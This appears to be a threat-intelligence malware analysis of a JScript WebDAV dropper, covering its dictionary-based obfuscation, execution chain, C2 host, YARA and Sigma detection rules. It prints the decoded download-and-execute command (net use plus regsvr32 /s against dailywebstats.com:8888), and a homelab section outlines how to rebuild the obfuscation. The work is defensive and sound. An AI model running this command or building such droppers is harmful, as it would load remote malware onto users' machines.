unclassified-js-webdav-dropper: 58d9398a — 62-entry noise-key dictionary, dailywebstats.com:8888

Executive Summary

A JScript dropper using a 62-entry noise-key dictionary lookup-table obfuscation. Decodes at runtime to a PowerShell -EncodedCommand wrapper that mounts dailywebstats.com:8888 via WebDAV and silently registers 61071859421623.dll via regsvr32 /s. Fifty-first confirmed sibling of the unclassified-js-webdav-dropper family. Static-only; CAPE skipped (text file, not a binary).^[file.txt]

What It Is

How It Works

Obfuscation

The script declares a single global object epfbqwsbbdjqofofyt with 62 key/value pairs mapping random noise strings (8–20 chars, no semantic content) to individual ASCII characters.^[strings.txt:1] The object name and every key are unique to this sample — no overlap with any prior sibling.

A try/catch decoy wraps the payload: try{ovgunybbph();}catch(mgsctbfmvjjwwow){...}. The function ovgunybbph is undefined, so the catch block always executes. This is a standard decoy pattern across the dictionary-dialect siblings.

Decoded Payload

The catch block assembles the payload character-by-character via dictionary lookups, then calls:

WScript.Shell.Run("powershell -EncodedCommand <base64>", 0, false)

The Base64 block decodes (UTF-16LE) to:

net use \\dailywebstats.com@8888\davwwwroot\ ; regsvr32 /s \\dailywebstats.com@8888\davwwwroot\61071859421623.dll

C2: dailywebstats.com:8888 (single domain for mount and fetch). Payload: 61071859421623.dll.

Execution Chain

1. User opens .js → wscript.exe executes JScript
2. JScript builds noise-key dictionary in memory
3. JScript assembles PowerShell command via Function('return this')() global access
4. wscript.exe spawns powershell.exe -EncodedCommand ...
5. PowerShell decodes to net use + regsvr32 /s over UNC/WebDAV
6. regsvr32.exe loads 61071859421623.dll from remote WebDAV share

No sandbox gate, no wordpad decoy, no persistence mechanism observed. One-shot execution.

Decompiled Behavior

Not applicable — this is a JScript text file with no compiled binary payload. Static analysis performed via manual dictionary decode.

C2 Infrastructure

dailywebstats.com:8888 is a known C2 host in this family, previously observed in siblings e6ebae6a (payload 30122106810637.dll), cc90d6c (payload 7110415629547.dll), ccb2d007 (payload 25738778612530.dll), 6b7435afd70e (payload 2934213284196.dll), and 6f72a3a9 (payload 314843136226301.dll). This sample reuses the same host with a new payload filename.

Interesting Tidbits

• Noise-key style: All 62 keys are random lowercase alphanumeric noise (e.g. epfbqwsbbdjqofofyt, eqsbbvczxwozdyn, isplanqhbarbirpw). Same cardinality as df42ecf8 and 6b7435afd70e but with a completely new key set, confirming the actor generates fresh keys per build.
• No alliteration, no natural language: Unlike cc90d6c (alliterative three-word phrases) or aac0198b5 (compound English phrases), this sample uses pure noise — the simplest key-generation strategy observed in the family.
• PowerShell wrapper present: The -EncodedCommand layer is consistent with the dailywebstats.com and cloudslimit.com clusters; absent from the 45.9.74.36:8888 noise-key cluster.
• Single-domain C2: Both net use mount and regsvr32 fetch target the same domain. The split-domain variant (cloudslimit.com + cloudskimit.com) observed in fb353965 is not present here.
• Window style 0, wait false: The WScript.Shell.Run call uses window style 0 (hidden) and wait = false (async), a minor variation from some siblings that use wait = true.

How To Mess With It (Homelab Replication)

1. Encode your own payload. Pick 62 random noise strings and map them to the characters of a net use + regsvr32 command.
2. Wrap in JScript decoy. Use try{undefined();}catch(e){...} to force the catch path.
3. Test against Defender. The obfuscation defeats static string matching, but behavioral detection (wscript.exe → powershell.exe with encoded command) should still fire.
4. Compare with prior siblings. The noise-key generator is trivial — this is low-skill, high-volume tooling.

Deployable Signatures

YARA Rule

rule WebDAV_JS_Dropper_NoiseDict_62 {
    meta:
        description = "JScript WebDAV dropper with 62-entry noise-key dictionary lookup obfuscation"
        author = "PacketPursuit"
        date = "2026-07-10"
        sha256 = "58d9398a11a37ce6c814e75128c6989ea7b4284b9657cd8e8aabf3f29b88848e"
    strings:
        $dict_pattern = /[a-z]{8,20}=\[\];[a-z]{8,20}\['[a-z]{8,20}'\]='.';/
        $try_catch = "try{" ascii wide nocase
        $catch_block = "catch(" ascii wide nocase
        $function_return = "Function('" ascii wide nocase
        $encoded_cmd = "EncodedCommand" ascii wide nocase
        $davwwwroot = "DavWWWRoot" ascii wide nocase
    condition:
        filesize < 20KB and
        #dict_pattern > 30 and
        $try_catch and
        $catch_block and
        $function_return and
        ($encoded_cmd or $davwwwroot)
}

Sigma Rule

title: JScript WebDAV Dropper Execution
description: Detects wscript.exe spawning powershell.exe with encoded command leading to regsvr32 loading remote DLL via WebDAV
status: experimental
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\wscript.exe'
        CommandLine|contains:
            - 'EncodedCommand'
            - ' DavWWWRoot'
    condition: selection
falsepositives:
    - Legitimate IT automation scripts
level: high

IOC List

Behavioral Fingerprint

This JScript dropper builds a 62-entry noise-key dictionary in memory, then assembles a PowerShell -EncodedCommand cradle via Function('return this')() global access. The decoded command mounts dailywebstats.com:8888 via WebDAV (net use) and silently registers a remote DLL (regsvr32 /s \\dailywebstats.com@8888\davwwwroot\61071859421623.dll). No sandbox gate, no persistence, no decoy application. One-shot execution chain: wscript.exe → powershell.exe → cmd.exe (net use) → regsvr32.exe with UNC path.

Detection Signatures

References

• unclassified-js-webdav-dropper — entity page for this family
• js-dictionary-char-lookup-obfuscation — technique page for the obfuscation dialect
• webdav-regsvr32-dll-sideloading — technique page for the execution chain
• e6ebae6a analysis — first 36-entry dictionary variant on dailywebstats.com:8888 ^[/intel/analyses/e6ebae6a06976402823cdc993d7ab941a39c357b848630bdff06113b95417f89.html]
• df42ecf8 analysis — first 62-entry noise-key dictionary variant on cloudslimit.com:8888 ^[/intel/analyses/df42ecf860b51e0fe4fd681f38b8eb69d27ea9a19a355af652ccc9661a76da87.html]
• 6b7435afd70e analysis — prior 62-entry noise-key dictionary variant on dailywebstats.com:8888 ^[/intel/analyses/6b7435afd70e75ca5278e20f018ab17768b7b3be26c31dfbbc9d927dc455f2e2.html]

Provenance

Analysis derived from strings.txt (single-line JScript source), manual Python-based dictionary decode, and file.txt type classification. No dynamic analysis available (CAPE skipped — text file). Tools: Python 3.12 (custom decode script), file v5.45. No Ghidra/radare2 analysis applicable (script, not binary).